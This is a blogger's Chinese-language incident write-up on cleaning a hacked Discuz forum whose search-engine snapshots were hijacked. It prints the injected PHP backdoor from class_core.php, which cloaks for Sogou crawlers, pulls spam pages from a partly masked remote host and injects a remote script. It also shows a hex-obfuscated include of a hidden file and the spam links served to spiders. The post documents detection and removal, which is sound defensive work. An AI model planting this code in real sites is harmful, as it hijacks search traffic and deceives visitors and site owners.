记一次 DISCUZ 被挂马,搜索引擎快照被劫持的排查经过
早上发现网站打不开,任何页面状态码都是500
。500 一般为代码错误所致,但我的网站是使用的discuz
,且最近一直没有修改代码。怀疑被入侵了。
打开阿里云安骑士,果然发现被报警有后门文件 /data/ipdata/../ss
。但在项目下却没有发现这个文件,猜测可能是入侵者自己删除了。那么一定还有其他的木马文件。
排查系统核心文件发现以下:
source/class/class_core.php
的最后被添加代码
set_time_limit(20);
error_reporting(0);
define('G', '/');
define('SOUGOU_YCURL', 'http://ymd.***.com/sogou/');
define('SOUGOU_spider', '@sogou.com|Sogou web spider/4.0|Sogou inst spider/4.0|Sosoimagespider|Sogou News Spider|Sosospider|sogou.com@i');
define('URL', $_SERVER['SERVER_NAME']);
define('REFERER', $_SERVER['HTTP_REFERER']);
define('AGENT', $_SERVER['HTTP_USER_AGENT']);
define('PHPGET', PHPGET());
function IS_HTTP_URL() {
if ($_SERVER['SERVER_PORT'] == 80) {
$tcp = "http://".$_SERVER['HTTP_HOST'];
} else {
$tcp = "https://".$_SERVER['HTTP_HOST'];
}
}
function YCcontent($url) {
$oo2 = array('http' = >array('method' = >"GET", 'timeout' = >8));
$context = stream_context_create($oo2);
$hh2 = file_get_contents($url, false, $context);
if (empty($hh2)) {
$hh2 = file_get_contents($url);
}
return $hh2;
}
function GETID() {
preg_match_all('/\d+/', $_SERVER['REQUEST_URI'], $a2ra1r1);
$a2ra1 = $a2ra1r1[0];
sort($a2ra1);
return $a2ra1[count($a2ra1) - 1];
}
function PHPGET() {
$dmmu2 = '';
if (isset($_SERVER['REQUEST_URI'])) {
$dmmu2 = $_SERVER['REQUEST_URI'];
} else {
if (isset($_SERVER['argv'])) {
$dmmu2 = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
} else {
$dmmu2 = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
}
}
if (isset($_SERVER['SERVER_SOFTWARE']) && false !== stristr($_SERVER['SERVER_SOFTWARE'], 'IIS')) {
if (function_exists('mb_convert_encoding')) {
$dmmu2 = mb_convert_encoding($dmmu2, 'UTF-8', 'GBK');
} else {
$dmmu2 = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $dmmu2)) == $dmmu2 ? $dmmu2: @iconv('GBK', 'UTF-8', $dmmu2);
}
}
$r2 = explode('#', $dmmu2, 2);
$dmmu2 = $r2[0];
return $dmmu2;
}
if (preg_match(SOUGOU_spider, REFERER)) {
$dmmu2_s1 = true;
if (preg_match("@site%3A|inurl%3A@i", REFERER)) {
$dmmu2_s1 = false;
}
if ($dmmu2_s1) {
if (GETID() >= 20) {
exit('<script type="text/javascript" src="http://js.***.com/js/file.js"></script>');
}
}
}
if (strstr(PHPGET, G)) {
if (preg_match(SOUGOU_spider, AGENT)) {
$dmmu2_u2 = SOUGOU_YCURL.'?xu='.'&xh='.bin2hex(PHPGET);
$dmmu2_u2. = '&url='.IS_HTTP_URL().'&xh'.bin2hex(URL);
$dmmu2_c2 = YCcontent($dmmu2_u2);
echo $dmmu2_c2;
exit;
}
}
source/class/discuz/discuz_application.php
中间被添加一行代码
@include(PACK('H*','646174612f6970646174612f2e2e2f7373'));
646174612f6970646174612f2e2e2f7373
是什么? 使用 16进制转字符串在线工具解析后得到 data/ipdata/.. /ss
。这不就是上面阿里云安骑士报的入侵文件吗。 上面我们已经说过,该文件已被入侵者自行删除,所以 include
时报了 500
错误。
删除 @include(PACK('H*','646174612f6970646174612f2e2e2f7373'));
这行代码,发现网站可以打开了。查看网站源代码也没有异常。 此时一定要注意,使用 360浏览器的 User Agent Switcher
插件模拟蜘蛛访问一下网站。 百度蜘蛛的UA
值为:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
。 发现网站源代码和页面被加入以下超链接
<a href="http://www.网站域名.com/thread-54235654654-1-1.html"></a>
<a href="http://www.网站域名.com/thread-87857876543-1-1.html"></a>
<a href="http://www.网站域名.com/forum-21223443455-1.html"></a>
<a href="http://www.网站域名.com/forum-87585554565-1.html"></a>
<a href="http://www.网站域名.com/forum-32412432455-1.html"></a>
<a href="http://www.网站域名.com/forum-88765766645-1.html"></a>
<a href="http://www.网站域名.com/forum-34322123777-1.html"></a>
<a href="http://www.网站域名.com/forum.php?gid=32456546555"></a>
<a href="http://www.网站域名.com/thread-87887654343-1-1.html"></a>
<a href="http://www.网站域名.com/forum.php?gid=123124355"></a>
<a href="http://www.网站域名.com/forum-654654765474-1.html"></a>
肯定还有其他木马文件。继续排查
在source/function/function_core.php
第13行发现
include('source/function/cache/cache/mm.txt');
删除此行,并删除文件 source/function/cache/cache/mm.txt
, 测试网站,一切正常。
注意:经常被篡改的文件
source/function/function_core.php
、source/class/discuz/discuz_application.php
、source/class/class_core.php
、config/config_global.php
,注意检查